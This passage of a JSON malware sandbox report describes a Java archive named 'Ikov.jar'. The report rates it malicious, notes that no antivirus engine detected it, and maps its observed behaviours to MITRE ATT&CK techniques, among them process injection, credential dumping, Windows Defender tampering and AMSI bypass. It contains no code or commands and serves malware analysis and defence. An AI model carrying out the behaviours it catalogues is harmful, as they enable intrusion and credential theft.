","98304:GQEJ5bW","98304:QEJ5bWN"],"imphash":"Unknown"},"file_info":{"file_name":"Ikov.jar","file_type":["java","compressed","jar"],"file_type_id":"java jar","file_size":3418722,"entropy":7.92,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1794260945000,"last_seen":1794262036000,"last_multi_scan":1794262036000},"additional_metadata":[{"name":"package_manager","type":"str","values":["jar"]}]},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["malicious"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":102},"sandbox_signatures":{"informative_count":221,"suspicious_count":22,"malicious_count":5,"total":248},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Contains ability to modify processes thread functionality"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"suspicious","value":"Contains ability to open/control a service"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Set/modify configurations using PowerShell"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Sets a computer-based training (CBT) hook"},{"type":"informative","value":"Sets a windows hook"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Credential Access","technique":"Network Sniffing","attack_id":"T1040","attack_id_wiki":"https://attack.mitre.org/techniques/T1040","identifiers":[{"type":"suspicious","value":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to retrieve geographical location"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to read the host's architecture"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to retrieve the host name of a computer"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve state data for the computer (API string)"},{"type":"informative","value":"Attempts to retrieve geographical location information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Contains ability to lookup the windows account name"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"suspicious","value":"Contains ability to enumerate processes/modules/threads"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to enumerate system processes using native API"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Attempts to enumerate permission groups in the domain"},{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve information about all user accounts on a server"},{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Calls an API that may be used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Drops a file that contains system information"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops Windows batch files"},{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops XML files"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"suspicious","value":"Contains ability to open a port and listen for incoming connection"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"tactic":"Defense Impairment","technique":"Windows 